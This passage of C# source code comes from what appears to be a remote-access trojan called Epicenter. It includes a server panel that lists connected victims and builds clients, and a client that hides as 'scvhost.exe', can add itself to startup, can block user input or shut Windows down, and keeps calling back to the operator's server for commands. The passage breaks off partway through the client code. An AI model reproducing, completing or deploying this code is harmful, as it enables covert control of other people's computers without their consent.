133 | this.btnCreateClient.Text = "Build a client";
134 | this.btnCreateClient.UseVisualStyleBackColor = true;
135 | this.btnCreateClient.Click += new System.EventHandler(this.btnCreateClient_Click);
136 | //
137 | // pictureBox1
138 | //
139 | this.pictureBox1.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox1.Image")));
140 | this.pictureBox1.Location = new System.Drawing.Point(-2, -3);
141 | this.pictureBox1.Name = "pictureBox1";
142 | this.pictureBox1.Size = new System.Drawing.Size(557, 150);
143 | this.pictureBox1.TabIndex = 7;
144 | this.pictureBox1.TabStop = false;
145 | //
146 | // pictureBox2
147 | //
148 | this.pictureBox2.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right)));
149 | this.pictureBox2.BackColor = System.Drawing.Color.Transparent;
150 | this.pictureBox2.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox2.Image")));
151 | this.pictureBox2.Location = new System.Drawing.Point(375, 4);
152 | this.pictureBox2.Name = "pictureBox2";
153 | this.pictureBox2.Size = new System.Drawing.Size(302, 150);
154 | this.pictureBox2.TabIndex = 8;
155 | this.pictureBox2.TabStop = false;
156 | //
157 | // Form1
158 | //
159 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
160 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
161 | this.BackColor = System.Drawing.SystemColors.ControlDarkDark;
162 | this.ClientSize = new System.Drawing.Size(666, 424);
163 | this.Controls.Add(this.btnCreateClient);
164 | this.Controls.Add(this.label2);
165 | this.Controls.Add(this.lbClients);
166 | this.Controls.Add(this.label1);
167 | this.Controls.Add(this.txtPort);
168 | this.Controls.Add(this.btnControl);
169 | this.Controls.Add(this.pictureBox2);
170 | this.Controls.Add(this.pictureBox1);
171 | this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
172 | this.MinimumSize = new System.Drawing.Size(682, 462);
173 | this.Name = "Form1";
174 | this.Text = "Epicenter SERVER";
175 | this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.Form1_FormClosed);
176 | ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit();
177 | ((System.ComponentModel.ISupportInitialize)(this.pictureBox2)).EndInit();
178 | this.ResumeLayout(false);
179 | this.PerformLayout();
180 |
181 | }
182 |
183 | #endregion
184 |
185 | private System.Windows.Forms.Button btnControl;
186 | private System.Windows.Forms.TextBox txtPort;
187 | private System.Windows.Forms.Label label1;
188 | private System.Windows.Forms.ListView lbClients;
189 | private System.Windows.Forms.ColumnHeader chName;
190 | private System.Windows.Forms.ColumnHeader chOS;
191 | private System.Windows.Forms.ColumnHeader chIP;
192 | private System.Windows.Forms.Label label2;
193 | private System.Windows.Forms.Button btnCreateClient;
194 | private System.Windows.Forms.PictureBox pictureBox1;
195 | private System.Windows.Forms.PictureBox pictureBox2;
196 | }
197 | }
198 |
199 |
--------------------------------------------------------------------------------
/Epicenter SERVER/Epicenter SERVER/Form1.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Data;
5 | using System.Drawing;
6 | using System.Text;
7 | using System.Windows.Forms;
8 | using System.Net.Sockets;
9 | using System.Threading;
10 | using System.Net;
11 | using System.Text.RegularExpressions;
12 |
13 | namespace Epicenter_SERVER
14 | {
15 | public partial class Form1 : Form
16 | {
17 | bool keepListening = false;
18 | TcpListener listener;
19 |
20 | private void btnControl_Click(object sender, EventArgs e)
21 | {
22 | if(keepListening == false)
23 | {
24 | if (String.IsNullOrEmpty(txtPort.Text))
25 | {
26 | MessageBox.Show("Please enter a port to listen.", "Missing Field", MessageBoxButtons.OK, MessageBoxIcon.Warning);
27 | return;
28 | }
29 |
30 | // Booting up the server
31 | keepListening = true;
32 | btnControl.Text = "Stop Listening";
33 |
34 | Thread thListen = new Thread( new ThreadStart(Listener) );
35 | thListen.Start();
36 | txtPort.Enabled = false;
37 | }
38 | else
39 | {
40 | // Stopping the server
41 | keepListening = false;
42 | btnControl.Text = "Start Listening";
43 | txtPort.Enabled = true;
44 | }
45 | }
46 |
47 |
48 | private void Listener()
49 | {
50 | // Starting to listen to the incoming connection requests
51 | listener = new TcpListener( IPAddress.Any, Convert.ToInt32(txtPort.Text) );
52 | listener.Start();
53 |
54 | while (keepListening)
55 | {
56 | TcpClient client = listener.AcceptTcpClient();
57 | string clientEndPoint = StripIP( client.Client.RemoteEndPoint.ToString() );
58 |
59 | // A Connection request from a client is received, HandleClientComm will take it from here
60 | Thread clientThread = new Thread( new ParameterizedThreadStart(HandleClientComm) );
61 | clientThread.Start(client);
62 | }
63 | }
64 |
65 | ASCIIEncoding encoder = new ASCIIEncoding();
66 | private void HandleClientComm(object client)
67 | {
68 | // Getting the dataStream
69 | TcpClient tcpClient = (TcpClient)client;
70 | NetworkStream clientStream = tcpClient.GetStream();
71 |
72 | string whoami = StripIP(tcpClient.Client.RemoteEndPoint.ToString());
73 | string given_name = "to-be-determined";
74 | string os_data = "to-be-determined";
75 |
76 | // Custom variables
77 | byte[] incoming_raw_data = new byte[2048];
78 | int bytesRead;
79 | bool disconnect = false;
80 | int session = 0;
81 |
82 | while (!disconnect)
83 | {
84 | bytesRead = 0;
85 |
86 | try
87 | {
88 | bytesRead = clientStream.Read(incoming_raw_data, 0, 2048);
89 | }
90 | catch
91 | {
92 | #region Disconnection Routine + return directive
93 | DisconnectionRoutine(whoami, ref tcpClient, ref clientStream);
94 | return;
95 | #endregion
96 | }
97 |
98 | if (bytesRead == 0)
99 | {
100 | #region Disconnection Routine + return directive
101 | DisconnectionRoutine(whoami, ref tcpClient, ref clientStream);
102 | return;
103 | #endregion
104 | }
105 |
106 | if (CheckValidity(ref incoming_raw_data) == false)
107 | {
108 | if (session > 0) // We have an amorphous package! We should celebrate it!
109 | {
110 | administrate activePanel = GetAssosicatedPanel(whoami);
111 | if (activePanel != null) // Panel is open
112 | {
113 | // Passing the communication over to the associated admin panel.
114 | activePanel.reportAmorphPack(incoming_raw_data, bytesRead);
115 | }
116 | continue;
117 | }
118 | else
119 | {
120 | #region Disconnection Routine + return directive
121 | DisconnectionRoutine(whoami, ref tcpClient, ref clientStream);
122 | return;
123 | #endregion
124 | }
125 | }
126 |
127 |
128 | // -- We got a valid raw data - proceeding
129 | // -- Be careful to start reading the package from [scheme.Length]
130 |
131 | // CLIENT IS IDENTIFYING ITSELF
132 | if (incoming_raw_data[commonData.scheme.Length] == 10)
133 | {
134 | // A client can't identify itself twice
135 | if (session != 0)
136 | {
137 | #region Disconnection Routine + return directive
138 | DisconnectionRoutine(whoami, ref tcpClient, ref clientStream);
139 | return;
140 | #endregion
141 | }
142 |
143 | // Interpreting the rest as ASCII
144 | string[] nameAndOS = Regex.Split( encoder.GetString(incoming_raw_data, commonData.scheme.Length + 1, bytesRead - commonData.scheme.Length - 1), "<%SEP%>") ;
145 |
146 | if (nameAndOS.Length != 2)
147 | {
148 | #region Disconnection Routine + return directive
149 | DisconnectionRoutine(whoami, ref tcpClient, ref clientStream);
150 | return;
151 | #endregion
152 | }
153 |
154 | given_name = nameAndOS[0];
155 | os_data = nameAndOS[1];
156 |
157 | // Adding the client to the common storage and the list
158 | commonData.ns_collection.Add(clientStream);
159 | addToList(given_name, os_data, whoami);
160 |
161 | try
162 | {
163 | clientStream.Write(commonData.recv_signal, 0, commonData.recv_signal.Length);
164 | }
165 | catch { }
166 | }
167 | // GENERAL INFORMATION CHANNEL
168 | else if (incoming_raw_data[commonData.scheme.Length] == 20)
169 | {
170 | // Identification is a must before conducting any further communication
171 | if (session == 0)
172 | {
173 | #region Disconnection Routine + return directive
174 | DisconnectionRoutine(whoami, ref tcpClient, ref clientStream);
175 | return;
176 | #endregion
177 | }
178 |
179 | administrate activePanel = GetAssosicatedPanel(whoami);
180 | if (activePanel != null) // Panel is open
181 | {
182 | // Passing the communication over to the associated admin panel.
183 | activePanel.reportIncomingComm(incoming_raw_data, bytesRead);
184 | }
185 | }
186 | else
187 | {
188 | #region Disconnection Routine + return directive
189 | DisconnectionRoutine(whoami, ref tcpClient, ref clientStream);
190 | return;
191 | #endregion
192 | }
193 |
194 | session++;
195 | }
196 | }
197 |
198 |
199 | private void DisconnectionRoutine(string ip, ref TcpClient tcpClient, ref NetworkStream clientStream)
200 | {
201 | this.Invoke((MethodInvoker)delegate
202 | {
203 | removeFromList(ip);
204 | });
205 |
206 | if (commonData.ns_collection.Contains(clientStream))
207 | commonData.ns_collection.Remove(clientStream);
208 |
209 | clientStream.Close();
210 | tcpClient.Close();
211 | }
212 |
213 | private bool CheckValidity(ref byte[] package)
214 | {
215 | if(package.Length < commonData.scheme.Length + 1)
216 | return false;
217 |
218 | for(int i = 0; i < commonData.scheme.Length; i++)
219 | if(package[i] != commonData.scheme[i])
220 | return false;
221 |
222 | return true;
223 | }
224 |
225 | private administrate GetAssosicatedPanel(string ipaddr)
226 | {
227 | if (commonData.ip_panel_pair.ContainsKey(ipaddr)) // Panel open
228 | {
229 | administrate activePanel;
230 | if (commonData.ip_panel_pair.TryGetValue(ipaddr, out activePanel))
231 | return activePanel;
232 | }
233 | return null;
234 | }
235 |
236 | #region TCP/IP STUFF
237 | private string StripIP(string endpt)
238 | {
239 | if (endpt.Contains(":"))
240 | return endpt.Substring(0, endpt.IndexOf(':'));
241 | else
242 | return endpt;
243 | }
244 | #endregion
245 |
246 | #region ListView Controls
247 | public Form1()
248 | {
249 | InitializeComponent();
250 | }
251 |
252 | private void addToList(string name, string os, string ip)
253 | {
254 | if (this.InvokeRequired)
255 | this.Invoke((MethodInvoker)delegate { addToList(name, os, ip); });
256 | else
257 | {
258 | if (!lbClients.Items.Contains(new ListViewItem(new string[] { name, os, ip })))
259 | lbClients.Items.Add(new ListViewItem(new string[] { name, os, ip }));
260 | }
261 | }
262 |
263 | private void removeFromList(string ip)
264 | {
265 | if (this.InvokeRequired)
266 | this.Invoke((MethodInvoker)delegate { removeFromList(ip); });
267 | else
268 | {
269 | for (int i = 0; i < lbClients.Items.Count; i++)
270 | {
271 | if (lbClients.Items[i].SubItems[2].Text == ip)
272 | {
273 |
274 | administrate panel = GetAssosicatedPanel(lbClients.Items[i].SubItems[2].Text);
275 | lbClients.Items.RemoveAt(i);
276 |
277 | if (panel != null)
278 | panel.Intermission();
279 | break;
280 | }
281 | }
282 | }
283 | }
284 | #endregion
285 |
286 | #region Trivial Stuff
287 | private void Form1_FormClosed(object sender, FormClosedEventArgs e)
288 | {
289 | Environment.Exit(0);
290 | }
291 | #endregion
292 |
293 | private void lbClients_DoubleClick(object sender, EventArgs e)
294 | {
295 | if (lbClients.SelectedItems.Count == 1)
296 | {
297 | administrate admin = new administrate(lbClients.SelectedItems[0].SubItems[0].Text,
298 | commonData.ns_collection[lbClients.SelectedItems[0].Index], lbClients.SelectedItems[0].SubItems[2].Text);
299 | admin.Show();
300 | commonData.ip_panel_pair.Add(lbClients.SelectedItems[0].SubItems[2].Text, admin);
301 | }
302 | }
303 |
304 | private void btnCreateClient_Click(object sender, EventArgs e)
305 | {
306 | CreateClient cc = new CreateClient();
307 | cc.Show();
308 | }
309 | }
310 | }
311 |
--------------------------------------------------------------------------------
/Epicenter SERVER/Epicenter SERVER/CreateClient.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace Epicenter_SERVER
2 | {
3 | partial class CreateClient
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | /// true if managed resources should be disposed; otherwise, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows Form Designer generated code
24 |
25 | ///
26 | /// Required method for Designer support - do not modify
27 | /// the contents of this method with the code editor.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(CreateClient));
32 | this.label1 = new System.Windows.Forms.Label();
33 | this.label2 = new System.Windows.Forms.Label();
34 | this.label3 = new System.Windows.Forms.Label();
35 | this.label4 = new System.Windows.Forms.Label();
36 | this.txtName = new System.Windows.Forms.TextBox();
37 | this.txtIP = new System.Windows.Forms.TextBox();
38 | this.txtComm = new System.Windows.Forms.TextBox();
39 | this.label5 = new System.Windows.Forms.Label();
40 | this.btnCreate = new System.Windows.Forms.Button();
41 | this.txtImageName = new System.Windows.Forms.TextBox();
42 | this.label6 = new System.Windows.Forms.Label();
43 | this.label7 = new System.Windows.Forms.Label();
44 | this.radioButton1 = new System.Windows.Forms.RadioButton();
45 | this.radioButton2 = new System.Windows.Forms.RadioButton();
46 | this.radioButton3 = new System.Windows.Forms.RadioButton();
47 | this.label8 = new System.Windows.Forms.Label();
48 | this.label9 = new System.Windows.Forms.Label();
49 | this.txtAuth = new System.Windows.Forms.TextBox();
50 | this.txtConn = new System.Windows.Forms.TextBox();
51 | this.label10 = new System.Windows.Forms.Label();
52 | this.label11 = new System.Windows.Forms.Label();
53 | this.label12 = new System.Windows.Forms.Label();
54 | this.SuspendLayout();
55 | //
56 | // label1
57 | //
58 | this.label1.AutoSize = true;
59 | this.label1.Location = new System.Drawing.Point(12, 12);
60 | this.label1.Name = "label1";
61 | this.label1.Size = new System.Drawing.Size(413, 13);
62 | this.label1.TabIndex = 0;
63 | this.label1.Text = "You can create an Epicenter Client by filling out the fields below and clicking \"" +
64 | "Create\".";
65 | //
66 | // label2
67 | //
68 | this.label2.AutoSize = true;
69 | this.label2.Location = new System.Drawing.Point(12, 45);
70 | this.label2.Name = "label2";
71 | this.label2.Size = new System.Drawing.Size(67, 13);
72 | this.label2.TabIndex = 1;
73 | this.label2.Text = "Client Name:";
74 | //
75 | // label3
76 | //
77 | this.label3.AutoSize = true;
78 | this.label3.Location = new System.Drawing.Point(12, 71);
79 | this.label3.Name = "label3";
80 | this.label3.Size = new System.Drawing.Size(155, 13);
81 | this.label3.TabIndex = 4;
82 | this.label3.Text = "Server IP address or hostname:";
83 | //
84 | // label4
85 | //
86 | this.label4.AutoSize = true;
87 | this.label4.Location = new System.Drawing.Point(12, 97);
88 | this.label4.Name = "label4";
89 | this.label4.Size = new System.Drawing.Size(103, 13);
90 | this.label4.TabIndex = 6;
91 | this.label4.Text = "Communication port:";
92 | //
93 | // txtName
94 | //
95 | this.txtName.Location = new System.Drawing.Point(175, 42);
96 | this.txtName.Name = "txtName";
97 | this.txtName.Size = new System.Drawing.Size(139, 20);
98 | this.txtName.TabIndex = 2;
99 | //
100 | // txtIP
101 | //
102 | this.txtIP.Location = new System.Drawing.Point(175, 68);
103 | this.txtIP.Name = "txtIP";
104 | this.txtIP.Size = new System.Drawing.Size(139, 20);
105 | this.txtIP.TabIndex = 5;
106 | //
107 | // txtComm
108 | //
109 | this.txtComm.Location = new System.Drawing.Point(175, 94);
110 | this.txtComm.Name = "txtComm";
111 | this.txtComm.Size = new System.Drawing.Size(139, 20);
112 | this.txtComm.TabIndex = 7;
113 | this.txtComm.Text = "80";
114 | //
115 | // label5
116 | //
117 | this.label5.AutoSize = true;
118 | this.label5.Font = new System.Drawing.Font("Microsoft Sans Serif", 6.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(162)));
119 | this.label5.Location = new System.Drawing.Point(320, 45);
120 | this.label5.Name = "label5";
121 | this.label5.Size = new System.Drawing.Size(67, 12);
122 | this.label5.TabIndex = 3;
123 | this.label5.Text = "(max. 20chars)";
124 | //
125 | // btnCreate
126 | //
127 | this.btnCreate.Location = new System.Drawing.Point(15, 319);
128 | this.btnCreate.Name = "btnCreate";
129 | this.btnCreate.Size = new System.Drawing.Size(299, 23);
130 | this.btnCreate.TabIndex = 21;
131 | this.btnCreate.Text = "Create";
132 | this.btnCreate.UseVisualStyleBackColor = true;
133 | this.btnCreate.Click += new System.EventHandler(this.btnCreate_Click);
134 | //
135 | // txtImageName
136 | //
137 | this.txtImageName.Location = new System.Drawing.Point(175, 215);
138 | this.txtImageName.Name = "txtImageName";
139 | this.txtImageName.Size = new System.Drawing.Size(139, 20);
140 | this.txtImageName.TabIndex = 16;
141 | this.txtImageName.Text = "scvhost.exe";
142 | //
143 | // label6
144 | //
145 | this.label6.AutoSize = true;
146 | this.label6.Location = new System.Drawing.Point(12, 218);
147 | this.label6.Name = "label6";
148 | this.label6.Size = new System.Drawing.Size(110, 13);
149 | this.label6.TabIndex = 15;
150 | this.label6.Text = "Dumped image name:";
151 | //
152 | // label7
153 | //
154 | this.label7.AutoSize = true;
155 | this.label7.Location = new System.Drawing.Point(12, 248);
156 | this.label7.Name = "label7";
157 | this.label7.Size = new System.Drawing.Size(78, 13);
158 | this.label7.TabIndex = 17;
159 | this.label7.Text = "Dump location:";
160 | //
161 | // radioButton1
162 | //
163 | this.radioButton1.AutoSize = true;
164 | this.radioButton1.Checked = true;
165 | this.radioButton1.Enabled = false;
166 | this.radioButton1.Location = new System.Drawing.Point(175, 246);
167 | this.radioButton1.Name = "radioButton1";
168 | this.radioButton1.Size = new System.Drawing.Size(67, 17);
169 | this.radioButton1.TabIndex = 18;
170 | this.radioButton1.TabStop = true;
171 | this.radioButton1.Text = "AppData";
172 | this.radioButton1.UseVisualStyleBackColor = true;
173 | //
174 | // radioButton2
175 | //
176 | this.radioButton2.AutoSize = true;
177 | this.radioButton2.Enabled = false;
178 | this.radioButton2.Location = new System.Drawing.Point(175, 269);
179 | this.radioButton2.Name = "radioButton2";
180 | this.radioButton2.Size = new System.Drawing.Size(52, 17);
181 | this.radioButton2.TabIndex = 19;
182 | this.radioButton2.Text = "Temp";
183 | this.radioButton2.UseVisualStyleBackColor = true;
184 | //
185 | // radioButton3
186 | //
187 | this.radioButton3.AutoSize = true;
188 | this.radioButton3.Enabled = false;
189 | this.radioButton3.Location = new System.Drawing.Point(175, 292);
190 | this.radioButton3.Name = "radioButton3";
191 | this.radioButton3.Size = new System.Drawing.Size(71, 17);
192 | this.radioButton3.TabIndex = 20;
193 | this.radioButton3.Text = "System32";
194 | this.radioButton3.UseVisualStyleBackColor = true;
195 | //
196 | // label8
197 | //
198 | this.label8.AutoSize = true;
199 | this.label8.Location = new System.Drawing.Point(12, 141);
200 | this.label8.Name = "label8";
201 | this.label8.Size = new System.Drawing.Size(153, 13);
202 | this.label8.TabIndex = 8;
203 | this.label8.Text = "Authentication attempt interval:";
204 | //
205 | // label9
206 | //
207 | this.label9.AutoSize = true;
208 | this.label9.Location = new System.Drawing.Point(12, 167);
209 | this.label9.Name = "label9";
210 | this.label9.Size = new System.Drawing.Size(139, 13);
211 | this.label9.TabIndex = 12;
212 | this.label9.Text = "Connection attempt interval:";
213 | //
214 | // txtAuth
215 | //
216 | this.txtAuth.Location = new System.Drawing.Point(175, 138);
217 | this.txtAuth.Name = "txtAuth";
218 | this.txtAuth.Size = new System.Drawing.Size(93, 20);
219 | this.txtAuth.TabIndex = 9;
220 | this.txtAuth.Text = "60";
221 | //
222 | // txtConn
223 | //
224 | this.txtConn.Location = new System.Drawing.Point(175, 164);
225 | this.txtConn.Name = "txtConn";
226 | this.txtConn.Size = new System.Drawing.Size(93, 20);
227 | this.txtConn.TabIndex = 13;
228 | this.txtConn.Text = "60";
229 | //
230 | // label10
231 | //
232 | this.label10.AutoSize = true;
233 | this.label10.Font = new System.Drawing.Font("Microsoft Sans Serif", 6.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(162)));
234 | this.label10.Location = new System.Drawing.Point(320, 141);
235 | this.label10.Name = "label10";
236 | this.label10.Size = new System.Drawing.Size(146, 36);
237 | this.label10.TabIndex = 11;
238 | this.label10.Text = "These are advanced features.\r\nDon\'t touch them unless you know\r\nwhat they mean.";
239 | //
240 | // label11
241 | //
242 | this.label11.AutoSize = true;
243 | this.label11.Font = new System.Drawing.Font("Microsoft Sans Serif", 6.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(162)));
244 | this.label11.Location = new System.Drawing.Point(270, 141);
245 | this.label11.Name = "label11";
246 | this.label11.Size = new System.Drawing.Size(40, 12);
247 | this.label11.TabIndex = 10;
248 | this.label11.Text = "seconds";
249 | //
250 | // label12
251 | //
252 | this.label12.AutoSize = true;
253 | this.label12.Font = new System.Drawing.Font("Microsoft Sans Serif", 6.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(162)));
254 | this.label12.Location = new System.Drawing.Point(270, 168);
255 | this.label12.Name = "label12";
256 | this.label12.Size = new System.Drawing.Size(40, 12);
257 | this.label12.TabIndex = 14;
258 | this.label12.Text = "seconds";
259 | //
260 | // CreateClient
261 | //
262 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
263 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
264 | this.ClientSize = new System.Drawing.Size(471, 354);
265 | this.Controls.Add(this.label12);
266 | this.Controls.Add(this.label11);
267 | this.Controls.Add(this.label10);
268 | this.Controls.Add(this.txtConn);
269 | this.Controls.Add(this.txtAuth);
270 | this.Controls.Add(this.label9);
271 | this.Controls.Add(this.label8);
272 | this.Controls.Add(this.radioButton3);
273 | this.Controls.Add(this.radioButton2);
274 | this.Controls.Add(this.radioButton1);
275 | this.Controls.Add(this.label7);
276 | this.Controls.Add(this.txtImageName);
277 | this.Controls.Add(this.label6);
278 | this.Controls.Add(this.btnCreate);
279 | this.Controls.Add(this.label5);
280 | this.Controls.Add(this.txtComm);
281 | this.Controls.Add(this.txtIP);
282 | this.Controls.Add(this.txtName);
283 | this.Controls.Add(this.label4);
284 | this.Controls.Add(this.label3);
285 | this.Controls.Add(this.label2);
286 | this.Controls.Add(this.label1);
287 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
288 | this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
289 | this.MaximizeBox = false;
290 | this.Name = "CreateClient";
291 | this.Text = "Create an Epicenter Client";
292 | this.ResumeLayout(false);
293 | this.PerformLayout();
294 |
295 | }
296 |
297 | #endregion
298 |
299 | private System.Windows.Forms.Label label1;
300 | private System.Windows.Forms.Label label2;
301 | private System.Windows.Forms.Label label3;
302 | private System.Windows.Forms.Label label4;
303 | private System.Windows.Forms.TextBox txtName;
304 | private System.Windows.Forms.TextBox txtIP;
305 | private System.Windows.Forms.TextBox txtComm;
306 | private System.Windows.Forms.Label label5;
307 | private System.Windows.Forms.Button btnCreate;
308 | private System.Windows.Forms.TextBox txtImageName;
309 | private System.Windows.Forms.Label label6;
310 | private System.Windows.Forms.Label label7;
311 | private System.Windows.Forms.RadioButton radioButton1;
312 | private System.Windows.Forms.RadioButton radioButton2;
313 | private System.Windows.Forms.RadioButton radioButton3;
314 | private System.Windows.Forms.Label label8;
315 | private System.Windows.Forms.Label label9;
316 | private System.Windows.Forms.TextBox txtAuth;
317 | private System.Windows.Forms.TextBox txtConn;
318 | private System.Windows.Forms.Label label10;
319 | private System.Windows.Forms.Label label11;
320 | private System.Windows.Forms.Label label12;
321 | }
322 | }
--------------------------------------------------------------------------------
/Epicenter Client/Epicenter Client/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Windows.Forms;
4 | using System.Net.Sockets;
5 | using System.Net;
6 | using System.Text;
7 | using System.Threading;
8 | using System.Text.RegularExpressions;
9 | using System.Runtime.InteropServices;
10 | using System.Management;
11 | using System.Diagnostics;
12 | using System.IO;
13 |
14 | namespace Epicenter_Client
15 | {
16 | static class Program
17 | {
18 | #region Win32 Imports
19 | // Importing for power options
20 | [DllImport("user32.dll")]
21 | public static extern int ExitWindowsEx(int operationFlag, int operationReason);
22 |
23 | // For lockdown
24 | [DllImport("user32.dll")]
25 | static extern bool BlockInput(bool fBlockIt);
26 | #endregion
27 |
28 | // Random set of bytes in order to check the validity of the incoming package
29 | // This set can be of any size
30 | static byte[] scheme = { 21, 36, 47, 71, 99, 61, 71, 71, 99, 255, 254, 253,
31 | 36, 45, 66, 253, 21, 46, 47, 66, 39, 41, 66, 99,
32 | 253, 252, 251, 216, 222, 221, 216, 99, 41, 56, 57, 58, 3};
33 |
34 | // The set of bytes sent when valid data is received from the client
35 | // This byte array is consisting of arbitrary bytes and can be altered if needed - keep in mind that you should
36 | // also change it on the client side
37 | static byte[] recv_signal = { 20, 26, 91, 36, 71, 64, 63, 99, 251, 253, 69, 31, 31,
38 | 72, 69, 109, 101, 108, 97, 110, 105, 101, 109, 101, 108};
39 |
40 | // Defining the global variables
41 | static string given_name = "Test Subject";
42 | public static string ipaddr = "127.0.0.1";
43 | static int port = 80;
44 | static uint authInterval = 60000;
45 | static uint connInterval = 60000;
46 | static string dumpImageName = "scvhost.exe";
47 | static char dumpLoc = 'A';
48 |
49 |
50 |
51 | static NetworkStream ns;
52 | static UTF8Encoding encoder = new UTF8Encoding();
53 |
54 | static void accessResource()
55 | {
56 | string wholeRes = encoder.GetString(Resources.file, 0, Resources.file.Length);
57 |
58 | if (!wholeRes.Contains("BEASDZXXXMEL") || !wholeRes.Contains("YEPTRUPTASKAMELANAZ"))
59 | Environment.Exit(0);
60 |
61 | wholeRes = wholeRes.Replace("BEASDZXXXMEL", String.Empty).Replace("YEPTRUPTASKAMELANAZ", String.Empty);
62 |
63 | if (!wholeRes.Contains(""))
64 | Environment.Exit(0);
65 |
66 | wholeRes = wholeRes.Substring(0, wholeRes.IndexOf(""));
67 |
68 | // Now we have the destIP<%SEP%>destPORT<%SEP%>given_name<%SEP%>connint<%SEP%>authint<%SEP%>imgname<%SEP%>dumploc stored in wholeRes
69 |
70 | string[] arguments = Regex.Split(wholeRes, "<%SEP%>");
71 |
72 | if (arguments.Length != 7)
73 | Environment.Exit(0);
74 |
75 | ipaddr = arguments[0];
76 | port = Convert.ToInt32(arguments[1]);
77 | given_name = arguments[2];
78 | connInterval = Convert.ToUInt32(arguments[3]) * 1000;
79 | authInterval = Convert.ToUInt32(arguments[4]) * 1000;
80 | dumpImageName = arguments[5];
81 | dumpLoc = arguments[6].ToCharArray()[0];
82 |
83 | // TODO: Disable this in the final release (MSGBox on GETRES)
84 | MessageBox.Show("IP: " + ipaddr + "\nport: " + port + "\ngiven_name: " + given_name + "\nconnInterval: " + connInterval.ToString() +
85 | "\nAuthInterval: " + authInterval.ToString() + "\ndumpImageName: " + dumpImageName + "\nDumpLoc: " + dumpLoc);
86 | }
87 |
88 | [STAThread]
89 | static void Main(string[] args)
90 | {
91 | // TODO: Enable this in the final release accessResource();
92 |
93 | // Checking if we are called to create a registry entry
94 | if (args.Length > 0)
95 | {
96 | System.Threading.Thread.Sleep(5000);
97 | if(args[0] == "-reg")
98 | RegistryAlteration.AddToStartup();
99 | }
100 |
101 | // Defining the port and IP to form the connection.
102 | TcpClient client = null;
103 | IPAddress remoteIP = null;
104 |
105 | if (!IPAddress.TryParse(ipaddr, out remoteIP))
106 | if (!IPAddress.TryParse(NetTools.GetCorrespondingIP(ipaddr), out remoteIP))
107 | Environment.Exit(0);
108 |
109 | IPEndPoint serverside = new IPEndPoint(remoteIP, port);
110 |
111 | bool isConnected = false;
112 | bool isAuthenticated = false;
113 |
114 | int bytesRead = 0;
115 |
116 | while (!isAuthenticated)
117 | {
118 | while (!isConnected)
119 | {
120 | try
121 | {
122 | client = new TcpClient();
123 | client.Connect(serverside);
124 | isConnected = true;
125 | }
126 | catch { isConnected = false; System.Threading.Thread.Sleep((int)connInterval); }
127 | }
128 |
129 | ns = client.GetStream();
130 | byte[] message = new byte[2048];
131 |
132 | // Authentication package is now enclosed in the message byte array.
133 | prepareAuthPack().CopyTo(message, 0);
134 |
135 | // Sending the authentication package over to the server.
136 | ns.Write(message, 0, message.Length);
137 |
138 | // Waiting for the RECV_SIGNAL
139 | try
140 | {
141 | bytesRead = ns.Read(message, 0, 2048);
142 | }
143 | catch
144 | {
145 | System.Threading.Thread.Sleep(5000);
146 | }
147 |
148 | if (compareRECV(ref message) && isConnected)
149 | {
150 | isAuthenticated = true;
151 |
152 | // We are connected and authenticated. Now, it is time to wait for the commands.
153 | while (isConnected && isAuthenticated)
154 | {
155 | try
156 | {
157 | bytesRead = ns.Read(message, 0, 2048);
158 | }
159 | catch
160 | {
161 | DisconnectionRoutine(ref client, ref ns, ref isConnected, ref isAuthenticated);
162 | System.Threading.Thread.Sleep(5000);
163 | }
164 |
165 | if (isConnected && isAuthenticated)
166 | {
167 | // Now, we are transferring the message to the latest processing step.
168 | object[] toPass = new object[2];
169 | toPass[0] = (object)bytesRead;
170 | toPass[1] = (object)message;
171 | Thread thProcess = new Thread( new ParameterizedThreadStart(ProcessMessage) );
172 | thProcess.Start(toPass);
173 | }
174 | }
175 | }
176 | // Failed to authenticate
177 | else
178 | {
179 | DisconnectionRoutine(ref client, ref ns, ref isConnected, ref isAuthenticated);
180 | System.Threading.Thread.Sleep((int)authInterval);
181 | }
182 | }
183 | }
184 |
185 | static void DisconnectionRoutine(ref TcpClient client, ref NetworkStream ns, ref bool isConnected, ref bool isAuthenticated)
186 | {
187 | isAuthenticated = isConnected = false;
188 | ns.Close();
189 | client.Close();
190 | }
191 |
192 | static byte[] prepareAuthPack()
193 | {
194 | string authentication_package = given_name + "<%SEP%>" + Environment.OSVersion.ToString();
195 |
196 | byte[] toSend = new byte[authentication_package.Length + scheme.Length + 1];
197 |
198 | scheme.CopyTo(toSend, 0);
199 | toSend[scheme.Length] = 10;
200 | encoder.GetBytes(authentication_package).CopyTo(toSend, scheme.Length + 1);
201 |
202 | return toSend;
203 | }
204 |
205 | static bool compareRECV(ref byte[] message)
